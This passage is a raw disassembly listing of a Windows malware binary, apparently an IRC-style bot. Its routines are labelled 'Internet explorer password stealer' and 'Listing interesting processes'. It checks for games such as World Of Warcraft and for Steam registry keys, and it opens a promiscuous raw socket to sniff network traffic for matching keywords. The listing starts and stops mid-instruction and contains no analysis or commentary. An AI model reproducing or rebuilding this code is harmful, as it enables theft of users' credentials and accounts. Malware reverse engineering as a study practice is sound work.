dword_41D55C lea eax, [ebp-0BECh] push eax call sub_40D53F add esp, 18h loc_4155CE: ; CODE XREF: sub_414EF4+62Cj push offset aB9819c52 ; "b9819c52" lea eax, [ebp-0A48h] push eax call ds:dword_417108 ; lstrcmp test eax, eax jnz loc_415842 and dword ptr [ebp-0FC8h], 0 mov dword ptr [ebp-0EFCh], 1 and dword ptr [ebp-0FCCh], 0 jmp short loc_415610 ; --------------------------------------------------------------------------- loc_415602: ; CODE XREF: sub_414EF4:loc_4156CFj mov eax, [ebp-0FCCh] inc eax inc eax mov [ebp-0FCCh], eax loc_415610: ; CODE XREF: sub_414EF4+70Cj mov eax, [ebp-0FCCh] cmp eax, [ebp-0E18h] jnb loc_4156D4 mov eax, [ebp-0EE8h] add eax, [ebp-0FCCh] movzx eax, byte ptr [eax] test eax, eax jnz short loc_415652 mov eax, [ebp-0FC8h] mov byte ptr [ebp+eax-9FCh], 2Ch mov eax, [ebp-0FC8h] inc eax mov [ebp-0FC8h], eax jmp short loc_4156CF ; --------------------------------------------------------------------------- loc_415652: ; CODE XREF: sub_414EF4+73Fj mov eax, [ebp-0EE8h] add eax, [ebp-0FCCh] mov al, [eax] push eax call ds:dword_4171DC ; IsCharAlphaNumericA test eax, eax jnz short loc_4156A7 mov eax, [ebp-0EE8h] add eax, [ebp-0FCCh] movzx eax, byte ptr [eax] cmp eax, 40h jz short loc_4156A7 mov eax, [ebp-0EE8h] add eax, [ebp-0FCCh] movzx eax, byte ptr [eax] cmp eax, 2Eh jz short loc_4156A7 mov eax, [ebp-0EE8h] add eax, [ebp-0FCCh] movzx eax, byte ptr [eax] cmp eax, 5Fh jnz short loc_4156CF loc_4156A7: ; CODE XREF: sub_414EF4+775j ; sub_414EF4+789j ... mov eax, [ebp-0EE8h] add eax, [ebp-0FCCh] mov ecx, [ebp-0FC8h] mov al, [eax] mov [ebp+ecx-9FCh], al mov eax, [ebp-0FC8h] inc eax mov [ebp-0FC8h], eax loc_4156CF: ; CODE XREF: sub_414EF4+75Cj ; sub_414EF4+7B1j jmp loc_415602 ; --------------------------------------------------------------------------- loc_4156D4: ; CODE XREF: sub_414EF4+728j mov eax, [ebp-0FC8h] and byte ptr [ebp+eax-9FDh], 0 lea eax, [ebp-9FAh] mov [ebp-0EF4h], eax and dword ptr [ebp-0EF8h], 0 jmp short loc_415704 ; --------------------------------------------------------------------------- loc_4156F7: ; CODE XREF: sub_414EF4:loc_41583Dj mov eax, [ebp-0EF8h] inc eax mov [ebp-0EF8h], eax loc_415704: ; CODE XREF: sub_414EF4+801j mov eax, [ebp-0EE8h] movzx eax, byte ptr [eax+4] cmp [ebp-0EF8h], eax jge loc_415842 mov eax, [ebp-0EF4h] inc eax push eax lea eax, [ebp-0FC4h] push eax call ds:dword_4170FC ; lstrcpy push offset dword_41D54C lea eax, [ebp-0FC4h] push eax call sub_416BA8 ; strstr pop ecx pop ecx test eax, eax jz short loc_41575C push offset dword_41D54C lea eax, [ebp-0FC4h] push eax call sub_416BA8 ; strstr pop ecx pop ecx and byte ptr [eax], 0 loc_41575C: ; CODE XREF: sub_414EF4+850j push offset dword_41D54C mov eax, [ebp-0EF4h] inc eax push eax call sub_416BA8 ; strstr pop ecx pop ecx test eax, eax jz short loc_415798 push offset dword_41D54C mov eax, [ebp-0EF4h] inc eax push eax call sub_416BA8 ; strstr pop ecx pop ecx inc eax inc eax push eax lea eax, [ebp-0F60h] push eax call ds:dword_4170FC ; lstrcpy loc_415798: ; CODE XREF: sub_414EF4+87Ej push offset dword_41D54C lea eax, [ebp-0F60h] push eax call sub_416BA8 ; strstr pop ecx pop ecx test eax, eax jz short loc_4157C5 push offset dword_41D54C lea eax, [ebp-0F60h] push eax call sub_416BA8 ; strstr pop ecx pop ecx and byte ptr [eax], 0 loc_4157C5: ; CODE XREF: sub_414EF4+8B9j push offset dword_41D54C mov eax, [ebp-0EF4h] inc eax push eax call sub_416BA8 ; strstr pop ecx pop ecx mov esi, eax lea eax, [ebp-0F60h] push eax call ds:dword_41703C ; lstrlen lea eax, [esi+eax+9] mov [ebp-0EF4h], eax mov eax, [ebp-214h] inc eax mov [ebp-214h], eax push 3E8h call ds:dword_41709C ; Sleep movsx eax, byte ptr [ebp-0A57h] test eax, eax jnz short loc_41583D lea eax, [ebp-0F60h] push eax lea eax, [ebp-0FC4h] push eax push dword ptr [ebp-214h] push offset dword_41D50C lea eax, [ebp-0BECh] push eax call sub_40D53F add esp, 14h loc_41583D: ; CODE XREF: sub_414EF4+91Fj jmp loc_4156F7 ; --------------------------------------------------------------------------- loc_415842: ; CODE XREF: sub_414EF4+6EEj ; sub_414EF4+820j push offset aE161255a ; "e161255a" lea eax, [ebp-0A48h] push eax call ds:dword_417108 ; lstrcmp test eax, eax jnz loc_4159E0 push offset aStringindex ; "StringIndex" lea eax, [ebp-210h] push eax call sub_416BA8 ; strstr pop ecx pop ecx test eax, eax jnz loc_4159E0 push offset dword_41D4EC lea eax, [ebp-210h] push eax call sub_416BA8 ; strstr pop ecx pop ecx test eax, eax jz short loc_4158A4 push offset dword_41D4EC lea eax, [ebp-210h] push eax call sub_416BA8 ; strstr pop ecx pop ecx and byte ptr [eax], 0 loc_4158A4: ; CODE XREF: sub_414EF4+998j push 8 lea eax, [ebp-210h] push eax lea eax, [ebp-0EE0h] push eax call ds:dword_417100 ; lstrcpyn push offset dword_41D4E4 lea eax, [ebp-0EE0h] push eax call sub_416BA8 ; strstr pop ecx pop ecx test eax, eax jnz short loc_415938 push offset dword_41D4DC lea eax, [ebp-0EE0h] push eax call sub_416BA8 ; strstr pop ecx pop ecx test eax, eax jnz short loc_415938 mov eax, [ebp-214h] inc eax mov [ebp-214h], eax push 3E8h call ds:dword_41709C ; Sleep movsx eax, byte ptr [ebp-0A57h] test eax, eax jnz short loc_415933 lea eax, [ebp-9FCh] push eax lea eax, [ebp-210h] push eax push dword ptr [ebp-214h] push offset dword_41D494 lea eax, [ebp-0BECh] push eax call sub_40D53F add esp, 14h loc_415933: ; CODE XREF: sub_414EF4+A15j jmp loc_4159E0 ; --------------------------------------------------------------------------- loc_415938: ; CODE XREF: sub_414EF4+9DBj ; sub_414EF4+9F2j push offset byte_41DF00 lea eax, [ebp-0EE0h] push eax call ds:dword_4170FC ; lstrcpy push offset dword_41D54C lea eax, [ebp-9FCh] push eax call sub_416BA8 ; strstr pop ecx pop ecx test eax, eax jz short loc_415999 push offset dword_41D54C lea eax, [ebp-9FCh] push eax call sub_416BA8 ; strstr pop ecx pop ecx inc eax push eax lea eax, [ebp-0EE0h] push eax call ds:dword_4170FC ; lstrcpy push offset dword_41D54C lea eax, [ebp-9FCh] push eax call sub_416BA8 ; strstr pop ecx pop ecx and byte ptr [eax], 0 loc_415999: ; CODE XREF: sub_414EF4+A6Bj mov eax, [ebp-214h] inc eax mov [ebp-214h], eax push 3E8h call ds:dword_41709C ; Sleep lea eax, [ebp-0EE0h] push eax lea eax, [ebp-9FCh] push eax lea eax, [ebp-210h] push eax push dword ptr [ebp-214h] push offset dword_41D438 lea eax, [ebp-0BECh] push eax call sub_40D53F add esp, 18h loc_4159E0: ; CODE XREF: sub_414EF4+962j ; sub_414EF4+97Dj ... push 200h push 0 lea eax, [ebp-210h] push eax call sub_416B6A ; memset add esp, 0Ch push 200h push 0 lea eax, [ebp-9FCh] push eax call sub_416B6A ; memset add esp, 0Ch jmp loc_4152C7 ; --------------------------------------------------------------------------- loc_415A11: ; CODE XREF: sub_414EF4+410j mov byte ptr [ebp-4], 2 cmp dword ptr [ebp-0E14h], 0 jz short loc_415A30 mov eax, [ebp-0E14h] mov ecx, [ebp-0E14h] mov ecx, [ecx] push eax call dword ptr [ecx+8] loc_415A30: ; CODE XREF: sub_414EF4+B28j jmp loc_4151DD ; --------------------------------------------------------------------------- loc_415A35: ; CODE XREF: sub_414EF4+326j mov byte ptr [ebp-4], 1 cmp dword ptr [ebp-0DF8h], 0 jz short loc_415A54 mov eax, [ebp-0DF8h] mov ecx, [ebp-0DF8h] mov ecx, [ecx] push eax call dword ptr [ecx+8] loc_415A54: ; CODE XREF: sub_414EF4+B4Cj jmp loc_4150CB ; --------------------------------------------------------------------------- loc_415A59: ; CODE XREF: sub_414EF4+20Ej ; sub_414EF4+220j mov al, [ebp-0A14h] mov [ebp-0A54h], al push 3E8h call ds:dword_41709C ; Sleep push dword ptr [ebp-214h] mov eax, [ebp-0BF0h] push dword ptr [eax] push offset unk_41D3FC lea eax, [ebp-0BECh] push eax call sub_40D53F add esp, 10h push dword ptr [ebp-0BF0h] call sub_409763 pop ecx and dword ptr [ebp-0FD8h], 0 and byte ptr [ebp-4], 0 cmp dword ptr [ebp-10h], 0 jz short loc_415ABB mov eax, [ebp-10h] mov ecx, [ebp-10h] mov ecx, [ecx] push eax call dword ptr [ecx+8] loc_415ABB: ; CODE XREF: sub_414EF4+BB9j or dword ptr [ebp-4], 0FFFFFFFFh cmp dword ptr [ebp-0A00h], 0 jz short loc_415ADA mov eax, [ebp-0A00h] mov ecx, [ebp-0A00h] mov ecx, [ecx] push eax call dword ptr [ecx+8] loc_415ADA: ; CODE XREF: sub_414EF4+BD2j mov eax, [ebp-0FD8h] loc_415AE0: ; CODE XREF: sub_414EF4+B9j ; sub_414EF4+19Cj mov ecx, [ebp-0Ch] mov large fs:0, ecx pop edi pop esi leave retn 4 sub_414EF4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415AF0 proc near ; CODE XREF: sub_40A9CF+7Fp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp ds:dword_41DF50, 0 jnz short loc_415AFF jmp short locret_415B3D ; --------------------------------------------------------------------------- loc_415AFF: ; CODE XREF: sub_415AF0+Bj push 1A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_415B15 jmp short locret_415B3D ; --------------------------------------------------------------------------- loc_415B15: ; CODE XREF: sub_415AF0+21j push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_405F67 pop ecx pop ecx push offset aInternetExplor ; "Internet explorer password stealer" push 0 push [ebp+var_4] push offset sub_414EF4 call sub_4095A4 add esp, 10h locret_415B3D: ; CODE XREF: sub_415AF0+Dj ; sub_415AF0+23j leave retn sub_415AF0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415B3F proc near ; CODE XREF: UPX0:00416FB6p ; UPX0:00416FBFp ... var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] cmp dword ptr [eax], 0 jz short locret_415B5E mov eax, [ebp+var_4] mov eax, [eax] mov ecx, [ebp+var_4] mov ecx, [ecx] mov ecx, [ecx] push eax call dword ptr [ecx+8] locret_415B5E: ; CODE XREF: sub_415B3F+Dj leave retn sub_415B3F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415B60 proc near ; DATA XREF: sub_415DFD+35o var_5D8 = dword ptr -5D8h var_5D4 = dword ptr -5D4h var_5D0 = dword ptr -5D0h var_5CC = dword ptr -5CCh var_5C8 = dword ptr -5C8h var_5C4 = dword ptr -5C4h var_5C0 = dword ptr -5C0h var_5BC = dword ptr -5BCh var_5B8 = dword ptr -5B8h var_5B4 = byte ptr -5B4h var_41C = byte ptr -41Ch var_410 = dword ptr -410h var_40C = dword ptr -40Ch var_408 = dword ptr -408h var_404 = dword ptr -404h var_400 = byte ptr -400h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 5D8h push 1A7h push [ebp+arg_0] lea eax, [ebp+var_5B8] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx and [ebp+var_5C4], 0 and [ebp+var_410], 0 and [ebp+var_40C], 0 and [ebp+var_408], 0 and [ebp+var_404], 0 and [ebp+var_5BC], 0 jmp short loc_415BC2 ; --------------------------------------------------------------------------- loc_415BB5: ; CODE XREF: sub_415B60:loc_415C50j mov eax, [ebp+var_5BC] inc eax mov [ebp+var_5BC], eax loc_415BC2: ; CODE XREF: sub_415B60+53j cmp [ebp+var_5BC], 0FFFFh jnb loc_415C55 push 400h lea eax, [ebp+var_400] push eax push [ebp+var_5BC] call ds:dword_4171E4 ; GetWindowTextA push 7 push offset aUnreal3 ; "Unreal3" lea eax, [ebp+var_400] push eax call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_415C0E mov [ebp+var_410], 1 loc_415C0E: ; CODE XREF: sub_415B60+A2j push offset aWorldOfWarcraf ; "World Of Warcraft" lea eax, [ebp+var_400] push eax call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jnz short loc_415C2F mov [ebp+var_408], 1 loc_415C2F: ; CODE XREF: sub_415B60+C3j push offset aConquer ; "[Conquer]" lea eax, [ebp+var_400] push eax call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jnz short loc_415C50 mov [ebp+var_404], 1 loc_415C50: ; CODE XREF: sub_415B60+E4j jmp loc_415BB5 ; --------------------------------------------------------------------------- loc_415C55: ; CODE XREF: sub_415B60+6Cj and [ebp+var_5C0], 0 lea eax, [ebp+var_5C0] push eax push 20019h push 0 push offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\VisualStudio\\6.0\\Set"... push 80000002h call ds:dword_417008 ; RegOpenKeyExA test eax, eax jnz short loc_415C88 mov [ebp+var_5C4], 1 loc_415C88: ; CODE XREF: sub_415B60+11Cj push [ebp+var_5C0] call ds:dword_417028 ; RegCloseKey and [ebp+var_5C0], 0 lea eax, [ebp+var_5C0] push eax push 20019h push 0 push offset aSoftwareValveS ; "Software\\Valve\\Steam" push 80000001h call ds:dword_417008 ; RegOpenKeyExA test eax, eax jnz short loc_415CC7 mov [ebp+var_40C], 1 loc_415CC7: ; CODE XREF: sub_415B60+15Bj push [ebp+var_5C0] call ds:dword_417028 ; RegCloseKey movsx eax, [ebp+var_41C] test eax, eax jz short loc_415D1E cmp [ebp+var_410], 0 jnz short loc_415D1E cmp [ebp+var_5C4], 0 jnz short loc_415D1E cmp [ebp+var_40C], 0 jnz short loc_415D1E cmp [ebp+var_408], 0 jnz short loc_415D1E cmp [ebp+var_404], 0 jnz short loc_415D1E push [ebp+var_5B8] call sub_409763 pop ecx xor eax, eax jmp locret_415DF9 ; --------------------------------------------------------------------------- loc_415D1E: ; CODE XREF: sub_415B60+17Cj ; sub_415B60+185j ... cmp [ebp+var_404], 0 jz short loc_415D33 mov [ebp+var_5C8], offset aYes ; "Yes" jmp short loc_415D3D ; --------------------------------------------------------------------------- loc_415D33: ; CODE XREF: sub_415B60+1C5j mov [ebp+var_5C8], offset aNo ; "No" loc_415D3D: ; CODE XREF: sub_415B60+1D1j cmp [ebp+var_408], 0 jz short loc_415D52 mov [ebp+var_5CC], offset aYes ; "Yes" jmp short loc_415D5C ; --------------------------------------------------------------------------- loc_415D52: ; CODE XREF: sub_415B60+1E4j mov [ebp+var_5CC], offset aNo ; "No" loc_415D5C: ; CODE XREF: sub_415B60+1F0j cmp [ebp+var_40C], 0 jz short loc_415D71 mov [ebp+var_5D0], offset aYes ; "Yes" jmp short loc_415D7B ; --------------------------------------------------------------------------- loc_415D71: ; CODE XREF: sub_415B60+203j mov [ebp+var_5D0], offset aNo ; "No" loc_415D7B: ; CODE XREF: sub_415B60+20Fj cmp [ebp+var_5C4], 0 jz short loc_415D90 mov [ebp+var_5D4], offset aYes ; "Yes" jmp short loc_415D9A ; --------------------------------------------------------------------------- loc_415D90: ; CODE XREF: sub_415B60+222j mov [ebp+var_5D4], offset aNo ; "No" loc_415D9A: ; CODE XREF: sub_415B60+22Ej cmp [ebp+var_410], 0 jz short loc_415DAF mov [ebp+var_5D8], offset aYes ; "Yes" jmp short loc_415DB9 ; --------------------------------------------------------------------------- loc_415DAF: ; CODE XREF: sub_415B60+241j mov [ebp+var_5D8], offset aNo ; "No" loc_415DB9: ; CODE XREF: sub_415B60+24Dj push [ebp+var_5C8] push [ebp+var_5CC] push [ebp+var_5D0] push [ebp+var_5D4] push [ebp+var_5D8] push offset dword_41D67C lea eax, [ebp+var_5B4] push eax call sub_40D53F add esp, 1Ch push [ebp+var_5B8] call sub_409763 pop ecx xor eax, eax locret_415DF9: ; CODE XREF: sub_415B60+1B9j leave retn 4 sub_415B60 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415DFD proc near ; CODE XREF: sub_40A9CF+12FFp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 1A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_415E17 jmp short locret_415E3F ; --------------------------------------------------------------------------- loc_415E17: ; CODE XREF: sub_415DFD+16j push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_405F67 pop ecx pop ecx push offset aListingInteres ; "Listing interesting processes" push 0 push [ebp+var_4] push offset sub_415B60 call sub_4095A4 add esp, 10h locret_415E3F: ; CODE XREF: sub_415DFD+18j leave retn sub_415DFD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415E41 proc near ; CODE XREF: sub_415EB7+37p ; sub_415EB7+59p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_415E52 ; --------------------------------------------------------------------------- loc_415E4B: ; CODE XREF: sub_415E41+69j ; sub_415E41:loc_415EB1j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_415E52: ; CODE XREF: sub_415E41+8j mov eax, [ebp+var_4] shl eax, 1 mov ecx, [ebp+arg_0] cmp dword ptr [ecx+eax*4], 0 jz short loc_415EB3 mov eax, [ebp+var_4] shl eax, 1 mov ecx, [ebp+arg_0] push dword ptr [ecx+eax*4] push [ebp+arg_8] push [ebp+arg_4] call sub_407ACA add esp, 0Ch test eax, eax jz short loc_415EB1 mov eax, [ebp+var_4] shl eax, 1 mov ecx, [ebp+arg_0] cmp dword ptr [ecx+eax*4+4], 0 jz short loc_415EAC mov eax, [ebp+var_4] shl eax, 1 mov ecx, [ebp+arg_0] push dword ptr [ecx+eax*4+4] push [ebp+arg_8] push [ebp+arg_4] call sub_407ACA add esp, 0Ch test eax, eax jz short loc_415EAC jmp short loc_415E4B ; --------------------------------------------------------------------------- loc_415EAC: ; CODE XREF: sub_415E41+49j ; sub_415E41+67j push 1 pop eax jmp short locret_415EB5 ; --------------------------------------------------------------------------- loc_415EB1: ; CODE XREF: sub_415E41+3Aj jmp short loc_415E4B ; --------------------------------------------------------------------------- loc_415EB3: ; CODE XREF: sub_415E41+1Dj xor eax, eax locret_415EB5: ; CODE XREF: sub_415E41+6Ej leave retn sub_415E41 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415EB7 proc near ; CODE XREF: sub_415F69+420p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp cmp [ebp+arg_C], 0 jz short loc_415EDD push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_407ACA add esp, 0Ch test eax, eax jz short loc_415EDD push 1 pop eax jmp loc_415F67 ; --------------------------------------------------------------------------- loc_415EDD: ; CODE XREF: sub_415EB7+7j ; sub_415EB7+1Cj cmp [ebp+arg_8], 1 jb short loc_415EFF push [ebp+arg_4] push [ebp+arg_0] push offset off_41D7AC call sub_415E41 add esp, 0Ch test eax, eax jz short loc_415EFF push 1 pop eax jmp short loc_415F67 ; --------------------------------------------------------------------------- loc_415EFF: ; CODE XREF: sub_415EB7+2Aj ; sub_415EB7+41j cmp [ebp+arg_8], 2 jb short loc_415F21 push [ebp+arg_4] push [ebp+arg_0] push offset off_41D808 call sub_415E41 add esp, 0Ch test eax, eax jz short loc_415F21 push 1 pop eax jmp short loc_415F67 ; --------------------------------------------------------------------------- loc_415F21: ; CODE XREF: sub_415EB7+4Cj ; sub_415EB7+63j cmp [ebp+arg_8], 3 jb short loc_415F43 push [ebp+arg_4] push [ebp+arg_0] push offset off_41D87C call sub_415E41 add esp, 0Ch test eax, eax jz short loc_415F43 push 1 pop eax jmp short loc_415F67 ; --------------------------------------------------------------------------- loc_415F43: ; CODE XREF: sub_415EB7+6Ej ; sub_415EB7+85j cmp [ebp+arg_8], 4 jb short loc_415F65 push [ebp+arg_4] push [ebp+arg_0] push offset off_41D8C0 call sub_415E41 add esp, 0Ch test eax, eax jz short loc_415F65 push 1 pop eax jmp short loc_415F67 ; --------------------------------------------------------------------------- loc_415F65: ; CODE XREF: sub_415EB7+90j ; sub_415EB7+A7j xor eax, eax loc_415F67: ; CODE XREF: sub_415EB7+21j ; sub_415EB7+46j ... pop ebp retn sub_415EB7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415F69 proc near ; DATA XREF: sub_41665C+A6o var_19B8 = dword ptr -19B8h var_19B4 = byte ptr -19B4h var_18B4 = dword ptr -18B4h var_18B0 = byte ptr -18B0h var_17B0 = dword ptr -17B0h var_17AC = dword ptr -17ACh var_17A8 = byte ptr -17A8h var_1628 = dword ptr -1628h var_1624 = dword ptr -1624h var_1620 = byte ptr -1620h var_161C = dword ptr -161Ch var_1618 = dword ptr -1618h var_1614 = dword ptr -1614h var_1610 = dword ptr -1610h var_160C = byte ptr -160Ch var_140C = byte ptr -140Ch var_127E = byte ptr -127Eh var_1278 = byte ptr -1278h var_1274 = byte ptr -1274h var_1268 = word ptr -1268h var_1264 = byte ptr -1264h var_1263 = byte ptr -1263h var_125C = dword ptr -125Ch var_1258 = word ptr -1258h var_1254 = byte ptr -1254h var_1154 = dword ptr -1154h var_1150 = dword ptr -1150h var_114C = byte ptr -114Ch var_114B = byte ptr -114Bh var_104C = dword ptr -104Ch var_1048 = word ptr -1048h var_1044 = dword ptr -1044h var_1038 = byte ptr -1038h var_1037 = byte ptr -1037h var_1030 = byte ptr -1030h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 19B8h call sub_416BC0 push edi push 3ABh push [ebp+arg_0] lea eax, [ebp+var_1614] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx movsx eax, [ebp+var_160C] neg eax sbb eax, eax lea ecx, [ebp+var_160C] and eax, ecx mov [ebp+var_1624], eax push 0 push 3 push 2 call ds:dword_417218 ; socket mov [ebp+var_104C], eax cmp [ebp+var_104C], 0FFFFFFFFh jnz short loc_415FDE push [ebp+var_1614] call sub_409763 pop ecx xor eax, eax jmp loc_416657 ; --------------------------------------------------------------------------- loc_415FDE: ; CODE XREF: sub_415F69+60j push 0FFh lea eax, [ebp+var_1254] push eax call ds:dword_417260 ; gethostname lea eax, [ebp+var_1254] push eax call ds:dword_41723C ; gethostbyname mov [ebp+var_1154], eax cmp [ebp+var_1154], 0 jnz short loc_41602B push [ebp+var_104C] call ds:dword_417230 ; closesocket push [ebp+var_1614] call sub_409763 pop ecx xor eax, eax jmp loc_416657 ; --------------------------------------------------------------------------- loc_41602B: ; CODE XREF: sub_415F69+A1j push 10h push 0 lea eax, [ebp+var_1048] push eax call sub_416B6A ; memset add esp, 0Ch mov [ebp+var_1048], 2 mov eax, [ebp+var_1154] mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_1044], eax push 10h lea eax, [ebp+var_1048] push eax push [ebp+var_104C] call ds:dword_417208 ; bind cmp eax, 0FFFFFFFFh jnz short loc_416093 push [ebp+var_104C] call ds:dword_417230 ; closesocket push [ebp+var_1614] call sub_409763 pop ecx xor eax, eax jmp loc_416657 ; --------------------------------------------------------------------------- loc_416093: ; CODE XREF: sub_415F69+109j mov [ebp+var_1150], 1 push 0 push 0 lea eax, [ebp+var_1620] push eax push 0 push 0 push 4 lea eax, [ebp+var_1150] push eax push 98000001h push [ebp+var_104C] call ds:dword_41725C ; WSAIoctl cmp eax, 0FFFFFFFFh jnz short loc_4160EA push [ebp+var_104C] call ds:dword_417230 ; closesocket push [ebp+var_1614] call sub_409763 pop ecx xor eax, eax jmp loc_416657 ; --------------------------------------------------------------------------- loc_4160EA: ; CODE XREF: sub_415F69+160j lea eax, [ebp+var_1030] mov [ebp+var_161C], eax and [ebp+var_1628], 0 and [ebp+var_4], 0 push [ebp+var_1610] mov eax, [ebp+var_1614] push dword ptr [eax] push offset unk_41DA8C lea eax, [ebp+var_140C] push eax call sub_40D53F add esp, 10h and [ebp+var_1274], 0 and [ebp+var_114C], 0 push 3Fh pop ecx xor eax, eax lea edi, [ebp+var_114B] rep stosd stosw stosb and [ebp+var_1264], 0 xor eax, eax lea edi, [ebp+var_1263] stosd stosb lea eax, [ebp+var_114C] push eax call sub_40CF25 push eax call sub_4044F7 pop ecx pop ecx lea eax, [ebp+var_1264] push eax call sub_40CF25 push eax call sub_4045B2 pop ecx pop ecx lea eax, [ebp+var_114C] push eax call ds:dword_417244 ; inet_addr mov [ebp+var_1618], eax lea eax, [ebp+var_1264] push eax call sub_416B9C ; atoi pop ecx mov [ebp+var_1268], ax and [ebp+var_1038], 0 xor eax, eax lea edi, [ebp+var_1037] stosd stosb lea eax, [ebp+var_1038] push eax call sub_40CF25 push eax call sub_404552 pop ecx pop ecx mov eax, [ebp+var_1044] mov [ebp+var_125C], eax lea eax, [ebp+var_1038] push eax call sub_416B9C ; atoi pop ecx mov [ebp+var_1258], ax loc_4161E6: ; CODE XREF: sub_415F69+305j ; sub_415F69+33Aj ... push 0 push 1028h lea eax, [ebp+var_1030] push eax push [ebp+var_104C] call ds:dword_417248 ; recv mov [ebp+var_17AC], eax mov eax, [ebp+var_1614] cmp dword ptr [eax+4], 0 jz short loc_416217 jmp loc_416637 ; --------------------------------------------------------------------------- loc_416217: ; CODE XREF: sub_415F69+2A7j cmp [ebp+var_17AC], 0FFFFFFFFh jz short loc_416229 cmp [ebp+var_17AC], 0 jnz short loc_41622E loc_416229: ; CODE XREF: sub_415F69+2B5j jmp loc_416637 ; --------------------------------------------------------------------------- loc_41622E: ; CODE XREF: sub_415F69+2BEj mov eax, [ebp+var_17AC] and [ebp+eax+var_1030], 0 mov eax, [ebp+var_161C] mov al, [eax] and al, 0Fh movzx eax, al mov ecx, [ebp+var_161C] lea eax, [ecx+eax*4] mov [ebp+var_1628], eax mov eax, [ebp+var_1628] lea ecx, [ebp+var_1030] sub eax, ecx cmp eax, [ebp+var_17AC] jb short loc_416273 jmp loc_4161E6 ; --------------------------------------------------------------------------- loc_416273: ; CODE XREF: sub_415F69+303j mov eax, [ebp+var_1628] mov al, [eax+0Ch] shr al, 4 and al, 0Fh movzx eax, al mov ecx, [ebp+var_1628] lea eax, [ecx+eax*4] mov [ebp+var_4], eax mov eax, [ebp+var_4] lea ecx, [ebp+var_1030] sub eax, ecx cmp eax, [ebp+var_17AC] jb short loc_4162A8 jmp loc_4161E6 ; --------------------------------------------------------------------------- loc_4162A8: ; CODE XREF: sub_415F69+338j push [ebp+var_4] call sub_416B40 ; strlen pop ecx mov [ebp+var_17AC], eax mov eax, [ebp+var_161C] movzx eax, byte ptr [eax+9] cmp eax, 6 jnz loc_416632 movsx eax, [ebp+var_127E] test eax, eax jz short loc_4162EB mov eax, [ebp+var_161C] mov eax, [eax+10h] cmp eax, [ebp+var_125C] jz short loc_4162EB jmp loc_4161E6 ; --------------------------------------------------------------------------- loc_4162EB: ; CODE XREF: sub_415F69+36Aj ; sub_415F69+37Bj movsx eax, [ebp+var_1278] test eax, eax jz short loc_41630C mov eax, [ebp+var_161C] mov eax, [eax+0Ch] cmp eax, [ebp+var_125C] jz short loc_41630C jmp loc_4161E6 ; --------------------------------------------------------------------------- loc_41630C: ; CODE XREF: sub_415F69+38Bj ; sub_415F69+39Cj mov eax, [ebp+var_1628] mov ax, [eax] push eax call ds:dword_417238 ; htons movzx eax, ax movzx ecx, [ebp+var_1258] cmp eax, ecx jnz short loc_416340 mov eax, [ebp+var_161C] mov eax, [eax+0Ch] cmp eax, [ebp+var_125C] jnz short loc_416340 jmp loc_4161E6 ; --------------------------------------------------------------------------- loc_416340: ; CODE XREF: sub_415F69+3BFj ; sub_415F69+3D0j mov eax, [ebp+var_1628] mov ax, [eax] push eax call ds:dword_417238 ; htons movzx eax, ax movzx ecx, [ebp+var_1268] cmp eax, ecx jnz short loc_416374 mov eax, [ebp+var_161C] mov eax, [eax+0Ch] cmp eax, [ebp+var_1618] jnz short loc_416374 jmp loc_4161E6 ; --------------------------------------------------------------------------- loc_416374: ; CODE XREF: sub_415F69+3F3j ; sub_415F69+404j push [ebp+var_1624] push [ebp+var_1610] push [ebp+var_17AC] push [ebp+var_4] call sub_415EB7 add esp, 10h test eax, eax jz loc_416632 and [ebp+var_19B8], 0 jmp short loc_4163AF ; --------------------------------------------------------------------------- loc_4163A2: ; CODE XREF: sub_415F69:loc_416413j mov eax, [ebp+var_19B8] inc eax mov [ebp+var_19B8], eax loc_4163AF: ; CODE XREF: sub_415F69+437j mov eax, [ebp+var_19B8] cmp eax, [ebp+var_17AC] jnb short loc_416415 mov eax, [ebp+var_4] add eax, [ebp+var_19B8] movsx eax, byte ptr [eax] cmp eax, 0Dh jnz short loc_4163DA mov eax, [ebp+var_4] add eax, [ebp+var_19B8] mov byte ptr [eax], 2Dh loc_4163DA: ; CODE XREF: sub_415F69+463j mov eax, [ebp+var_4] add eax, [ebp+var_19B8] movsx eax, byte ptr [eax] cmp eax, 0Ah jnz short loc_4163F7 mov eax, [ebp+var_4] add eax, [ebp+var_19B8] mov byte ptr [eax], 3Eh loc_4163F7: ; CODE XREF: sub_415F69+480j mov 